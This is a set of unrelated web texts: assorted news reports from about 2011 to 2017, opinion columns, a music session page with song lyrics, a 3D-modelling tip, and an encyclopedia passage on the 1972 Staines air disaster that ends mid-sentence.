-Traffic on Capital Blvd diverted while @raleighpolice investigate report of suspicious pkg at Greyhound depot #abc11 pic.twitter.com/AzUfIqcJHF — Anthony Wilson (@AnthonyABC11) September 18, 2016  Part of Capital Boulevard was shut down Sunday while Raleigh police investigated a suspicious package found at the Greyhound bus station.The bus station is back open after being closed for about 4 hours.Police responded to the Greyhound station around noon. The building was evacuated.Our crew was on scene while police suited up in tactical gear.Around 3:40 p.m., police said that nothing hazardous was found when the package was examined. Officials didn't say what kind of package was found or who it may belong to.Capital Boulevard has since reopened. Northbound Capital was closed at Fenton Street, and southbound Capital was closed at Crabtree Boulevard.No additional information was immediately available.
-President Barack Obama will appoint a White House budget officer to the be the new acting Internal Revenue Service commissioner, an announcement made following a fresh declaration from the president that he knew nothing about the inspector general’s report detailing improper IRS actions until it was leaked.  After announcing the resignation of acting IRS Director Steven Miller on Wednesday evening, the president emerged Thursday afternoon to answer questions from the press about actions taken by IRS employees to single out conservative and Tea Party advocacy groups for extra scrutiny in their applications for nonprofit status.  "I can assure you that I certainly did not know anything about the I.G. report before the I.G. report had been leaked ... through the press," said Obama. "Typically, the I.G. reports are not supposed to be widely distributed or shared. They tend to be, you know, a process that everybody's trying to protect the integrity of. But, what I'm absolutely certain of is that the actions that were described in that I.G. report are unacceptable."  After what's arguably been the president's toughest political week since winning reelection to a second term, Obama named a new head of the IRS and announced a new push for increased security for diplomats abroad. NBC's Chuck Todd reports.  The president declined to endorse appointing an independent counsel to investigate the controversy -- an idea that some Republicans have demanded. The criminal investigation initiated by the Justice Department, combined with the administration's efforts to cooperate with lawmakers in their investigations, Obama argued, should be sufficient.  "I think it's going to be sufficient for us to be working with Congress," he said.  Just hours after that event, the White House said that Daniel Werfel, current controller of the Office of Management and Budget, would be named acting IRS chief, effective May 22.  In a press release, Obama said, "The American people deserve to have the utmost confidence and trust in their government, and as we work to get to the bottom of what happened and restore confidence in the IRS, Danny has the experience and management ability necessary to lead the agency at this important time."  Later Thursday, NBC News confirmed that a second top Internal Revenue Service official has announced plans to leave the agency. An internal IRS memo says that Joseph Grant, commissioner of the agency's tax exempt and government entities division, will retire June 3.  Of the three controversies that dominated Washington this week, the IRS issue has proven the most politically noxious for Obama.  The White House has also been besieged by new questions about its response to last year's terrorist attack against a diplomatic installation in Benghazi, Libya, along with revelations that the Justice Department had monitored Associated Press journalists' phone records.  The IRS and AP cases have been particularly thorny politically for one of Obama's top allies in the cabinet, Attorney General Eric Holder, who on Wednesday faced grilling on Capitol Hill for his role in both controversies. Republicans renewed some of their longstanding demands that Holder resign his position, demands which the president rejected on Thursday.  "I have complete confidence in Eric Holder as attorney general," Obama said.  President Barack Obama talks about the inspector general's report relating to alleged targeting of political groups by the IRS.  After weathering blistering criticism from Republicans, the administration has begun trying to craft its response to all three issues.  To that end, Obama on Thursday announced new measures meant to enhance security for U.S. diplomatic postings abroad as part of the administration's continued reaction to the Benghazi incident.  "I am intent on making sure we do everything we can to prevent another tragedy like this from happening again," Obama said at the White House.  His remarks come amid intensified efforts by Republican members of Congress to probe the Obama administration's reaction to the Sept. 11, 2012 attacks, which left four Americans dead, including U.S. ambassador Christopher Stevens.  The administration has sought to turn the narrative on that matter in its favor beginning Wednesday, when it released emails documenting how the administration crafted its first public responses to the attack.  Obama called on members of Congress in both parties to "come together" and work to authorize legislation to help fortify embassies and other diplomatic installations as a tribute to the deceased in Benghazi.  Jason Reed / Reuters President Barack Obamaand Turkish Prime Minister Recep Tayyip Erdogan arrive for a joint news conference in the White House Rose Garden in Washington, May 16, 2013.  Still, the controversy involving the AP helped prompt the administration to renew its efforts to have Congress authorize a federal shield law that would protect journalists from having to disclose confidential details of their work in court.  "To the extent that this case has prompted renewed interest with respect to how do we strike that balance properly, I think that now's the time for us to revisit that legislation," Obama said. "I think that's a worthy conversation to have."  Whether any of Obama's actions will placate Republicans, who are eager to use these controversies to gain political traction and slow or halt the president's second-term agenda, remains to be seen.  Lawmakers in both parties plan a series of high-profile hearings, beginning on Friday, on each of the controversies. And Republicans in particular have been eager to make political hay of the administration's recent missteps.  Speaking before the president this morning on Capitol Hill, House Speaker John Boehner, R-Ohio, said the controversies were a mark of “remarkable arrogance” by the president and his administration, though Boehner said that the Republican-controlled House was still primarily focused on the business of legislating.  NBC's Peter Alexander and Kelly O'Donnell contributed to this report.  Related stories:  This story was originally published on
-Former President Jimmy Carter may be on opposite ends of the ideological spectrum from the current leader of the free world, but he’s still offering to help with one of the most pressing issues — the crisis with North Korea.  Carter, 93 told the New York Times he is willing to take the lead on diplomatic efforts with the North Korea government to contain their efforts to amass nuclear weapons , and is even willing to physically travel to North Korea to carry out this objective. “I would go, yes,” he said, noting that he spoke directly with Trump’s National Security Adviser, H. R. McMaster in May, when he saw him at the funeral of his former National Security Adviser, Zbigniew Brzezinski. “I told him that I was available if they ever need me,” he said.  In 1994, Carter flew to North Korea for a meeting with Kim Il Sung, Kim Jong Un’s grandfather who was leader of North Korea at the time during a contentious time between the two countries. “After hearing that Washington was also contemplating a buildup in military capability, I decided to go. In the past, I had always refrained from going to a troubled area of the world without approval from the White House or State Department. But I hadn’t been able to get approval. So I finally wrote President Clinton a letter and told him that I had decided to go to North Korea,” Carter told PBS of his decision in 2003.  But even though Carter advocated for diplomatic measures, he still expressed alarm over Kim Jung Un, who he called “unpredictable” and said was capable of conducting a preemptive strike against the United States. “I think he’s now got advanced nuclear weaponry that can destroy the Korean Peninsula and Japan, and some of our outlying territories in the Pacific, maybe even our mainland,” he told the Times.  Write to Alana Abramson at Alana.Abramson@time.com.
-After a heated bidding war, Fox Searchlight has walked away with “Patti Cake$” for $9.5 million, Variety has confirmed.  The indie label beat out several other players, including Amazon Studios, Neon and Lionsgate, for the well-reviewed comedy about a rap star from New Jersey.  It’s the second biggest deal of the festival so far, following the $12 million Amazon Studios shelled out for “The Big Sick.” Other bids from Amazon and Neon were higher, in the $10 million range, but the producers opted for Searchlight based on its track record with prestige titles.  Despite the rapturous applause at the movie’s Monday afternoon premiere and positive reviews, “Patti Cake$” still represents a risk for Searchlight. The biggest name in the cast is Cathy Moriarty, a character actress best known for “Raging Bull.” The rest of the ensemble is comprised of unknowns.  Creative marketing and good word of mouth will be needed to convince audiences to turn out. After all, many films that are beloved by the Park City crowd, such as “Dope” and Searchlight’s own “Me and the Earl and the Dying Girl,” have collapsed in wide release.  Newcomer Danielle McDonald, from Australia, plays the title character, who is being billed as the breakout discovery of this year’s festival. First-time feature director Geremy Jasper made “Patti Cake$.”  CAA and WME handled the deal.
-What makes this Gizmo so good and useful, is that it makes it really easy to move the pivot, re-center orientation, re-center subtools to grid and freely rotate and translate object. Some of the best features of the Gizmo (I think) are theand the(so yeah, no need to use transpose master to move just a couple of subtools together… amazing!).  With the 3D Gizmo selected, you can click on the list icons (far right) to link/unlink the subtools you want to move together. you can simply mask out the ones you don’t want to move. In the example below, I used the selection tools to isolate the little joint, I masked it, then I inverted the mask and position the 3D Gizmo by clicking on the ‘location’ icon (third from the left).  To complete the effect of an ‘opening mechanisms’, I enabled radial symmetry before rotating on the ‘Y’ axis.
-Like our Page SHARE ON FACEBOOK  Embed:  Song List  Show Review  The first thing worth noting is the fact that Polica do not front with a line-up we've ever seen in this interesting little indie-pop universe we bounce around in. There are no guitars, no keyboards...only two drummers, a bass player, and a singer. That's it...though we have read legend of a powerful sonic wizard hiding somewhere behind the curtain, triggering sounds and beats and mist and light. That of course is something we cannot confirm. All we know is, this inventive, somewhat mysterious Minneapolis collective is a self-described, "test-tube group", surgically put together by producer Ryan Olson to achieve a very specific vision.  That vision is dark and stormy. That vision is often sleek and sexy. That vision is dancy. That vision is also ripe with tension, as singer Channy Leaneagh recently told us. "We have this conflict between soft and smooth with obviously very harsh and intense sounds from two drummers and kind of some aggressive tones musically fighting with softer tones, sweeter sounding stuff". That vision is complex.  Back in June we had the chance to witness this cacophonous force when Polica invited us to capture a trio of tracks during a soundcheck held before a sold out performance at Brooklyn's Music Hall of Williamsburg. In session, the dichotomy Leaneagh describes is easy to hear. The heavy filling, drum and bass are jagged, as Leaneagh's vocals dive bomb in and out like some beautiful attack. Balancing things out are the band's futuristic swells of synth...the man who may or may not be lurking behind the curtain, it seems. Under a haze of red, blue, and violet shadows, Polica bring a unique world of sound to life. Inhabit it for a moment in this, our mystical new session with the group.  Photos  Transcript  That, that, that, that season I want, want only see him  He say no, no he be teasing Then he call back to come and see him  I was ready to die alone I was ready to die alone  I was ready to die alone Are you ready to die alone  That, that, that, that reason Don't go, go, go and see him  But I know, know that I need him And me, you guarantee it  I was ready to die alone I was ready to die alone  I was ready to die alone Are you ready to die alone  When you finally make it home I'll be ready to freak and moan  coming off of the x and o's crawling out of your skin and bones  When you finally make it home I'll be ready to freak and moan  coming off of the x and o's crawling out of your skin and bones  Slay me  That, that, that, that season I want, want only see him  Barely touch, touch and now it's steaming  Think it's dead cold but now it's beating  I was ready to die alone I was ready to die alone  I was ready to die alone Are you ready to die alone  That that, that, that reason Don't go, go, go and see him  Don't talk, talk about cheating It's a hard fall and let me leave it  I was ready to die alone I was ready to die alone  I was ready to die alone Are you ready to die alone  When you finally make it home I'll be ready to freak and moan  coming off of the x and o's crawling out of your skin and bones  When you finally make it home I'll be ready to freak and moan  coming off of the x and o's crawling out of your skin and bones  Slay me, darling, darling, I believe that I, yeah  darling yeah, darling yeah, darling yeah I believe that I am, yeah  darling oh, darling yeah, darling oh, I believe that I am, yeah  darling oh, darling yeah, darling oh, I believe that I'm in love  When you finally make it home I'll be ready to freak and moan  When you finally make it home I'll be ready to freak and moan  coming off of the x and o's crawling out of your skin and bones  Slay me yeah, slay me  aggravated in a positive way, just by the amount of sound coming out of our band, like, two drummers and bass are very stimulating to me as a performer and will get me excited.  We play off of each other and kind of go back and forth. I also come from... before I sang, I did theater, and I like theater.  We all enjoy thinking about the performance as creating a world on stage and kind of making our music come alive is important to all of us and to have fun on stage and to make it worth our time as well.  You know, to get something out of it personally.  Polica's music kind of marries that as well, because we have this conflict between sort of soft and smooth with obviously, very harsh, intense sounds from two drummers and kind of some aggressive tones fighting, musically fighting, with softer tones, sweeter kind of sounding stuff.  - The record, the title of the record and the subject matter of the record is coming from this perspective of, or coming from being a woman or like, the brutality, the kind of gruesomeness of being a woman, the dichotomy between beautification and blood and that carries through a woman's life until she dies, and kind of the conflict between those two.  How my lips been tightly sealed How my hands and feet been bound  Must have liked all your reprimands Look at me cowering now  See I meet a lot of women And they tell me that I'm strong  When I leave the stage to find you Why you make me think they're wrong  Believe me gonna find a man who loves me  like I do, like I did to you  Gonna find a man, who loves me like I do, like I did to you  See I want a friend to be with Well, I like a soul that's true  Sweet words to fill the days and darkness  Loving kindness, loving kindness  How my lips been tightly sealed How my hands and feet been bound  Must have liked all your reprimands Look at me cowering now  See I meet a lot of women And they tell me that I'm strong  When I leave the stage to find you Why you make me think they're wrong  Believe me gonna find a man who loves me  like I do, like I did to you  Gonna find a man, who loves me like I do, like I did to you  Like a man to make me do  And I like a friend to be with And I like a soul that's true  Sweet words to fill the days and darkness, inner weakness  Loving kindness, loving kindness, yeah  We were kind of put together by our producer, Ryan Olson, him and Channy were writing tracks together and they wanted to get a heavy-hitting rhythm team behind them, so they asked me to play bass and Ben and Drew to play the double drum kits.  - He is kind of like the leader, in the sense that he builds the sounds that the rest of us react to.  We're all influenced by, I think, really different music and then we're also very much influenced by each other.  Chris and I play off of each other a lot.  If I lay down a vocal line onto a track and then Chris lays bass over it, it'll often happen that I will re-record vocals based on what the bass and drums do on top of my vocals and I'm kind of reacting back to them.  So we are greatly inspired, I think, or largely inspired by each other and by kind of this assembly line of reaction and kind of a collaging off of each other.  - I think Polica is a band that is a good representation of what goes on in the scene in Minneapolis.  - We all played music in Minneapolis in different bands and saw each other playing in those bands and small scene.  - Because everyone's kind of interested in what everyone else is doing and very supportive really and we like to collaborate, you know, I know so many people who are in four or five bands and so, I mean, when you're kind of spreading yourself out across a bunch of different genres, really exciting things can happen.  I grew out of a noise punk band and now I'm playing electronic double-drum synth stuff.  You hold me like this you hold me like this  Leave the night to the sky Darling, what do you miss  You hold me like this you hold me like this  Darkness, hold me Lightness, fight this  Darkness, hold me Lightness, fight this  Mine's a heart you can't keep Oh no heart can't keep  Mine's a time you can't find All your ways are cheap  You hustled on the wrong street Now we know your true love's greed  Too fine to forget, too fine to forget Too fine to forget me  Too fine to forget, too fine to forget Too fine to forget me  Take hold like you Take hold like you  Take hold like you Like you want this  Darkness, hold me Lightness, fight this  Darkness, won't you hold me Lightness, won't you fight this  Take hold like you Take hold like you  Take hold like you Like you want this  Artist Bio  Minnesota natives Ryan Olson and Channy Leaneagh play dreamy electronica with a penchant for autotune. Founded in 2011, they have released one album, Give Up The Ghost, which was met with critical acclaim.  Editorial
-ALBUQUERQUE, N.M. (KRQE) - Donald Trump made some new promises to New Mexicans at his rally in Albuquerque Sunday night.  Those big promises came just nine days before the election in a state that has voted Democrat in recent Presidential elections. Trump made promises of lower taxes, safety and security and to unleash New Mexico's "vast resources to bring jobs and higher wages to the state."  During his speech Trump touched on the rising costs of health insurance, saying that New Mexico is one of the states hit the hardest by Obamacare. Trump announced he will lower the cost and make it more affordable to families.  Trump also promises massive tax cuts for New Mexico families and his plan to make the state rich by bringing jobs into what he said has already lost 40 percent of its manufacturing jobs.  He then went on to say that if New Mexico wants to be a rich state, it has to be a safe state, citing numbers of a 53 percent increase in crime from last year in Albuquerque. Trump attributed those numbers to drugs pouring in from across the border.  "We're going to stop that. We're going to build a wall, don't worry about it," said Trump. "And Mexico's going to pay for the wall."  Trump also touched on Hillary Clinton's email scandal, saying the FBI just released another 650,000 emails were found. Trump asked the crowd how much time anyone has to send that many emails.  Compared to Trump's rally in May, Sunday's rally was much more peaceful, with only one instance of protesters having to be removed from the crowd.  Related Coverage:
-Critical consensus might be divided, but the fans have spoken — and Batman v Superman: Dawn of Justice looks to be a solid box-office hit. So, looking forward, what does it mean for the future (and past) of the DC Universe?  Spoilers ahead for Batman v Superman: Dawn of Justice!  Director Zack Snyder was working to plant a whole lot of stuff into this film, balancing everything from Batfleck’s introduction to nightmarish dreams for future films, all with teases for Wonder Woman, The Flash, Cyborg and Aquaman sprinkled in. But a piece of Batman’s lore was also buried in the background, in the form of a defaced Robin suit on display in the Batcave. The suit doesn’t get any real narrative focus, though Ben Affleck’s Batman does take a moment to brood over it.  So, what’s the story, here? Snyder opened up to IGN about that old Robin suit and confirmed it is from a now-dead Robin (no word on which Boy Wonder it was) who was killed by the Joker about a decade ago. Here’s the choice excerpt:  “In my mind it was that Robin had died about 10 years earlier in some run in with a young Joker. So that was an interesting thing to me. Sorta a fun backstory to play with.”  There’s obviously a lot to unpack here. Context clues pretty much indicated this suit was from a former Robin who was killed by the Joker (thanks to the graffiti) and brooding, but now we know the death happened a full 10 years ago — featuring the Joker when he was apparently just getting his start.  If you’re thinking about future Batman films (which could certainly take the form of a prequel, if Wonder Woman is any indication), it’s interesting to actually put a date on this. Could Ben Affleck’s working script for a Batman solo film focus on this era, following the Joker’s origin as Robin is killed?  What do you want to see from a solo Batman film? Do you like what Snyder is doing with the Dark Knight?  Zoom In  (Via IGN)
-Occupy Wall Street Arrests Highlight Need for New Media  By rancase  On November 3, 2011, I witnessed the first arrest of Pittsburgh’s Occupy Wall Street movement. After Pittsburgh’s Oakland Solidarity march had concluded and split up, the group of protesters I was with were invited to see speakers at a public Student Justice for Palestine meeting—only to be partially blocked by Pitt police, who told us we weren’t allowed in campus buildings. Some of the group made it in before the block, some made it in as others were arguing with police, and some were snuck in through a back door by event facilitators. Among the latter group was Bud, an Occupy Pittsburgh camp resident and ‘zine writer who’d just told me he had cell phone video of the cops swearing at and threatening him.  At one point those of us still outside thought things were being cleared up. I got a message that the Pitt Police Chief Delaney was inside talking to the group about the “confusion”—and when I turned around a group of cops had Bud bent over the hood of their squad car.  His girlfriend kissed him as they were cuffing him; he told her he loved her, and to tell their son he’d been arrested for a good cause. None of the officers there would tell us why he was being arrested; one mocked the protesters who demanded a reason. Less than ten minutes after he was shoved into the backseat of a squad car and taken away, we were all officially allowed into the building—and when Bud was finally released, he reported the incriminating videos on his phone had all been erased.  But if not for the attention given here, online, the only record of what went on is a line in a police report: a guy cited for trespassing.  A few days later, I discussed this with a friend over tea. Monetarily, he told me, stories like that weren’t worth much for a news organization or site to run. The attention they’d draw would be nominal. To me this sounds like part of the reason it took mainstream media so long to run OWS stories, and why attention to the goings-on has so often been minimal and/or dismissive. This is also why I’ll make a point of writing about what’s happening out there—and why others should do the same. The Occupy Wall Street movement has brought to light any number of unpleasantries: just how ready cities are to use militarized police against their citizens; just how delinquent mainstream media is when it comes to covering social issues and movements; just how bad spin and misinformation can be when those two intersect.  So to whoever’s listening, from indie media to any of you bloggers with revolutionary inclinations or half-considered daydreams of photojournalism: Our media has overwhelmingly become farcical. Far too many news outlets repeat whatever they think will be easiest to digest or whatever they’re told, no matter the reports from people on the ground. Thus the videotaped beatings of UC Berkley students become “nudges” of police batons; the mass arrests of reporters and legal observers and medics and bystanders morphs into the arrest of “anarchists and provocateurs.” For all of our safety, this can not be allowed. You’re the new guard, the ones who’ll not flinch from telling the entire story; the ones who’ll keep the rest of us from being in the dark. You are of dire importance. Our words and our cameras and our share buttons are the only things that can guarantee police accountability. Be there.  [flickr-gallery mode=”photoset” photoset=”72157627916969933″]  More #OccupyWallStreet coverage and photo galleries on DOOM! Magazine  rancase ( 22 Posts I grew up on the water. I still sometimes feel my visceral, paralogical craving to return to it colors everything I do. I make stuff. I mean well. That'll do for now.  Share this: Facebook  Twitter  Google  Reddit  LinkedIn  Print
-Wembley will have enhanced security for Saturday's FA Cup final between Arsenal and Chelsea  The Football Association says "enhanced security" will be in place at the FA Cup final in the wake of Monday's Manchester attack.  A terrorist attack at the end of a concert at the Manchester Arena on Monday night left 22 people dead and 59 injured.  And sporting organisations including the FA, the EFL and the International Cricket Council have sought to reassure supporters due to attend upcoming games.  The victims of the attack will be remembered at Saturday's final between Arsenal and Chelsea, and fans have been told to expect extra security checks at Wembley, and similarly at Twickenham where the Exeter Chiefs and Wasps will meet in the Aviva Premiership final.  Extra armed police officers will also be in place at both venues.  "Fan safety is of paramount importance and we have robust security measures in place at Wembley Stadium," an FA statement read.  "In collaboration with the Metropolitan Police and the local authorities there will be an enhanced security operation for all upcoming events.  "All supporters are encouraged to arrive for events at Wembley Stadium as early as possible for security checks and to avoid any delays in entering the stadium."  Wembley also hosts the League Two and Championship play-off finals on Sunday and Monday, and an EFL statement read: "Whilst there have been no specific threats in this country, our Security Advisor will be liaising with Wembley Stadium, the National Counter Terrorism Security Office (NaCTSO) and the Metropolitan Police to ensure the arrangements in place provide a safe and secure environment for all supporters attending this weekend's play-off matches.  "The safety of fans remains our highest priority. The EFL takes security issues extremely seriously and we would urge all supporters planning to be at Wembley Stadium to be vigilant of their surroundings at all times, stay alert and not be alarmed."  Manchester United held a minute's silence for the victims and those injured in the Manchester attacks Manchester United held a minute's silence for the victims and those injured in the Manchester attacks  Manchester United held a minute's silence for the victims as they prepared to fly out for Wednesday's Europa League final in Stockholm, where stringent security measures are in place.  The ICC, meanwhile, says security is the "highest priority" ahead of its Champions Trophy and Women's World Cup tournaments in England.  "We operate on advice from our Tournament Security Directorate - in conjunction with the ECB and relevant authorities - to ensure that we have a robust safety and security plan for both tournaments," a statement read.  "We will continue to work with authorities over the coming hours and days and review our security in line with the threat levels.  "The security situation has been very much front and centre of our preparations and we constantly review our procedures to guarantee they are as effective as possible to keep everyone safe."  Tickets for Netball's final four games at Manchester Arena on June 10 have been temporarily been taken off sale after the attack.  An England Netball statement read: "Following the tragic events at Manchester Arena last night, England Netball has chosen to temporarily suspend ticket sales for the Final Four.  "We will release a further update in due course, for now our thoughts and condolences are with those in Manchester."
-As a podcast on iTunes, listenable/downloadable onscreen at Taki’s Magazine, or as a transcript here.  Microaggression of the Week was fallout from the October 16th airing of the late-night TV show Jimmy Kimmel Live!  One recurring feature on the show is a “Kids’ Table,” which spoofs the solemn round-table discussions on weighty topics that you get on Sunday morning TV. Instead of credentialed bigfoot commentators, Kimmel has four second or third graders round the table with him.  One of the kids, a little chap six years old, when asked what he’d do about the fact of America owing China over a trillion dollars, suggested going over there and killing all the Chinese.  Naturally that had race grievance lobbyists shrieking and swooning from coast to coast. I observed:  In San Francisco this Monday, the race creeps held a protest march. The marchers carried pictures showing funnyman Jimmy Kimmel’s face with a Hitler mustache drawn above his lip and a swastika by his side. Hard to beat that for creativity and originality, eh? As I have had occasion to remark before: If there is a prize awarded in Hell for killing Chinese people, the easy winner in the 20th-century division—and in fact, I am pretty sure, the all-time winner—would be Mao Tse-tung. Why not put his face on Jimmy Kimmel, you nitwits? Oh, but then you wouldn’t be getting your checks from the Chinese Consulate, would you? Right.  I wouldn’t be surprised to hear that the offending child has been turned over to the authorities in Peking (oh all right: Pei-p’ing) for Thought Correction. He would not be first six-year-old boy to be made a political prisoner by the ChiComs.  The full Radio Derb playbill:  Prisoner of New York (that’s me this week).  Momma's got a brand new bag (from Barneys, Madison Avenue).  Teaching While White (and similar offenses).  Wheels coming off Obamacare (making the case for term limits).  Arming the enemy—dispatches from the War About Nothing.  White man speak with politically incorrect tongue (causing heap plenty offense).  Craving Clintonian honesty (another show where kids comment on the news).  Open borders defeated in New York! (by the doughty Ron Unz).  Niger, the African tiger. (A sad story, of which there will be many more.)  In memoriam Warren Gamaliel Harding (the Great).  It’s all there at Taki’s Magazine.  Just one erratum: In regard to the Intelligence Squared open-borders debate, I said:  Ron has just launched a new website, title The Unz Review: An Alternative Media Selection, subtitle "A Collection of Interesting, Important, and Controversial Perspectives Largely Excluded from the American Mainstream Media." I urge you to check it out at www.unz.com.  In fact Ron hasn’t quite finished setting up the website, but he tells us it’ll only be a few days. Keep checking: I’ve seen a pre-version and it’s worth waiting for.
-WASHINGTON, June 24, 2014 – Let’s set the stage. As the politically correct, faux-Marxist college campus environment continues to deteriorate, average American families—and students—are beginning to seriously question just what they’re getting in return for enslaving themselves to increasingly inflated tuition bills.  It’s a big problem for college men in particular. In addition to having to maintain and increase both grade point averages and personal alcohol tolerance in a competitive environment, they also are required to behave like celibate monks when it comes to interacting with the opposite sex.  READ ALSO: Conservatives: The real persecuted minority on campus  That’s because all college men, particularly those of the Caucasian persuasion, are viewed by college administrators and professional campus feminists as feral, potential rapists.  Such idiocy is apparently ready to jump the shark in the People’s Republic of California, as reported by David Bernstein. He’s writing for the Volokh Conspiracy, which now, mirabile dictu, appears online in the Washington Post. We excerpt Bernstein’s opening observations here:  Cathy Young has an excellent column in Reason.com about a bill in California that would require universities in that state to use an “affirmative consent” standard for evaluating sexual assault complaints in the campus disciplinary system for complaints involving students.  READ ALSO: The campus rape culture exists; be ready to fight it  Two obvious questions arise:  (1) Why just on campus? If this is a good idea, why not make it part the tort system? If that’s too drastic, let’s start, with say, members of the California legislature. For internal disciplinary purposes, their sexual activity should be governed by the same standard they want to impose on students. What plausible grounds could they have for rejecting application of a standard they would impose on students to themselves? (2) If we’re limiting things to campus, why just students? Why should students be judged under this standard, but not faculty and administrators? It’s hardly unheard of for professors, administrators, and even law school deans to engage in sexual relationships of dubious morality. The answer is that it’s not a good idea, and it’s a product of the current moral panic over the hookup culture.  Bernstein actually captures the spirit of the lunacy here. Even better, however, is the beyond-funny video-satire he links to at the end of his commentary.  If you think, like we do, that this whole campus dating/hookup issue has gotten way beyond control, this video will provide the appropriate sendup. Watch it all. The fun will sneak up on you.
-Dallas Independent School District included schools named after three of America’s Founding Fathers on a list of schools that the district is exploring renaming.  The DISD administration has already recommended renaming four schools named after Confederate generals, including Robert E. Lee and Stonewall Jackson. The district is conducting additional research on whether to rename at least 20 other schools named after historical figures. The list of schools, posted by DISD board member Dustin Marshall on Facebook Saturday night, includes schools named after Ben Franklin, Thomas Jefferson and James Madison.  “I will not support a name change for Franklin since Benjamin Franklin clearly had many accomplishments that form the basis for why the school was named after him. I don’t believe this school was named after Franklin to send a signal of oppression and control,” Marshall wrote. (Benjamin Franklin Middle School is the only school on the list that falls within Marshall’s district.)  The district is exploring whether to rename the schools on the list because of their namesake’s ties to slavery or the Confederacy, the Dallas Morning News reported. (RELATED: SPLC Says Army Bases Are Confederate Monuments That Need To Come Down)  The Dallas City Council recently voted to remove a statue of Robert E. Lee located in Dallas. The statue came down on Thursday at a cost of approximately $450,000, CBS DFW reported.  President Trump questioned last month whether the removing of statues of Lee and other Confederate figures would lead to the removal of tributes to slave-owning Founding Fathers like George Washington and Thomas Jefferson.  “So will George Washington now lose his status?” Trump asked. “Are we going to take down statues to George Washington? How about Thomas Jefferson?”  WATCH CNN COMMENTATOR CALL FOR REMOVAL OF WASHINGTON, JEFFERSON STATUES:  AND DON’T MISS ANOTHER CNN COMMENTATOR CALLING TRUMP A WHITE SUPREMACIST:
-The Samsung Galaxy Note 3 is one of the biggest and most highly anticipated Android devices launching this year. While we are busy digging up something, anything on the phablet, we came across a few interesting leaks.  The first “leak” comes by way of SIM Only Radar who was able to secure some alleged images of the Galaxy Note 3 (SM-N900), ripped from the device’s official training manual. You’ll notice a design very similar to what we see from current Galaxy devices, as well as a handful of purported specs. Seems Samsung will emphasize the device’s photo capturing abilities thanks to a 13MP camera with dedicated camera button, and Xenon flash. Where a Xenon flash would eat most other smartphone batteries for lunch, the Galaxy Note 3’s ample 3,000+ mAh battery should suffice.  The second “leak” is brought to us from the boys at TechKiddy nabbed some extremely blurry images of the device, allegedly sent directly from a Samsung testing facility in China. If you squint your eyes real hard, you can see what appears to be a handful of extremely large devices sitting on a table in a room filled with Asian women (lucky, Android). Again, it’s hard to make out, but appears as if Samsung is sticking with the rounded look of the current Galaxy-line, so don’t expect anything too jarring.  Where we are fast nearing a plateau in specs for many devices, the Note 3 still has some wriggle room left over from the Note 2. We’re hoping to learn more about the Note 3 as we approach IFA 2013 in September. Many of you may remember last year when Samsung scheduled an event just before the main show to announce the Samsung Galaxy Note 2. We expect this year to be no different.
-British European Airways Flight 548 was a scheduled passenger flight from London Heathrow to Brussels that crashed near the town of Staines, England, soon after take-off on 18 June 1972, killing all 118 people on board. The accident became known as the Staines air disaster and, as of 2019 , remains the deadliest air accident (as opposed to terrorist incidents) in the United Kingdom and it marks the highest death toll involving a Hawker Siddeley Trident.  The aircraft suffered a deep stall in the third minute of its flight and crashed to the ground, narrowly missing a busy main road. The inquest principally blamed the captain for failing to maintain airspeed and configure the high-lift devices correctly. It also cited the captain's heart condition and the limited experience of the co-pilot, while noting an unspecified "technical problem" that the crew apparently resolved before take-off.  The crash took place against the background of a pilots' strike that had caused bad feelings between crew members. The strike had also disrupted services, causing Flight 548 to be loaded with the maximum weight allowable. Recommendations from the inquiry led to the mandatory installation of cockpit voice recorders in British-registered airliners. Another recommendation was for greater caution before allowing off-duty crew members to occupy flight deck seats. Some observers felt that the inquiry was unduly biased in favour of the aircraft's manufacturers.  Industrial relations background [ edit ]  The International Federation of Air Line Pilots' Associations (IFALPA) had declared Monday 19 June 1972 (the day after the accident) as a worldwide protest strike against aircraft hijacking which had become commonplace in the early 1970s. Support was expected, but the British Air Line Pilots Association (BALPA) organised a postal ballot to ask members at BEA whether they wanted to strike.[1] Because of the impending strike, travellers had amended their plans to avoid disruption, and as a result flight BE 548 was full, despite Sunday being traditionally a day of light travel.[2][3]  BALPA was also in an industrial dispute with BEA over pay and conditions. The dispute was controversial, those in favour being mainly younger pilots, and those against mostly older. A group of 22 BEA Trident co-pilots known as supervisory first officers (SFOs) were already on strike, citing their low status and high workload.[1] To help train newly qualified co-pilots, SFOs were told to occupy only the third flight deck seat of the Trident as a "P3", operating the aircraft's systems and helping the captain (known as "P1" on the BEA Trident fleet) and the co-pilot ("P2") who handled the aircraft. In other airlines and aircraft, the job of SFO/P3 was usually performed by flight engineers. As a result of being limited to the P3 role, BEA Trident SFOs/P3s were denied experience of aircraft handling, which led to loss of pay, which they resented. In addition, their status led to a regular anomaly: experienced SFO/P3s could only assist while less-experienced co-pilots actually flew the aircraft.[1]  Captain Key's outburst [ edit ]  The flight deck of a Hawker Siddeley Trident.  Tensions came to a head shortly before the accident. On Thursday 15 June a captain complained that his inexperienced co-pilot "would be useless in an emergency". Upset, the co-pilot committed a serious error on departure from Heathrow, setting the flaps fully down instead of up.[4][5] The mistake was noted and remedied by the SFO, who related the event to colleagues as an example of avoidable danger. This became known among BEA pilots as the "Dublin Incident".[5]  An hour and a half before the departure of BE 548, its rostered captain, Stanley Key, a former Royal Air Force pilot who had served during World War II, was involved in a quarrel in the crew room at Heathrow's Queen's Building with a first officer named Flavell. The subject was the threatened strike, which Flavell supported and Key opposed. Both of Key's flight deck crew on BE 548 witnessed the altercation, and another bystander described Key's outburst as "the most violent argument he had ever heard".[6] Shortly afterward Key apologised to Flavell, and the matter seemed closed.[7] Key's anti-strike views had won enemies and graffiti against him had appeared on the flight decks of BEA Tridents, including the incident aircraft, G-ARPI (Papa India).[nb 1] The graffiti on Papa India's flight engineers' desk was analysed by a handwriting expert to identify who had written it, but this could not be determined. The public inquiry found that none of the graffiti had been written by crew members on BE 548 on the day of the accident.[9][10]  Operational background [ edit ]  The aircraft operating Flight BE 548 was a Hawker Siddeley Trident Series 1 short- to medium-range three-engined airliner. This particular Trident (s/n 2109) was one of twenty-four de Havilland D.H.121s (the brand name “Trident” was not introduced until September 1960) ordered by BEA in 1959 and was registered to the corporation in 1961 as G-ARPI.[11][12] By the time of the aircraft's first flight on 14 April 1964, de Havilland had lost their separate identity under Hawker Siddeley Aviation, and Papa India was delivered to BEA on 2 May 1964.[13] The Trident I was equipped with three interconnected high-lift devices on each wing leading edge – two droops outboard and a Krueger flap on the section closest to the fuselage.  Diagrammatic representation of a deep stall  While technically advanced, the Trident (and other aircraft with a T-tail arrangement) had potentially 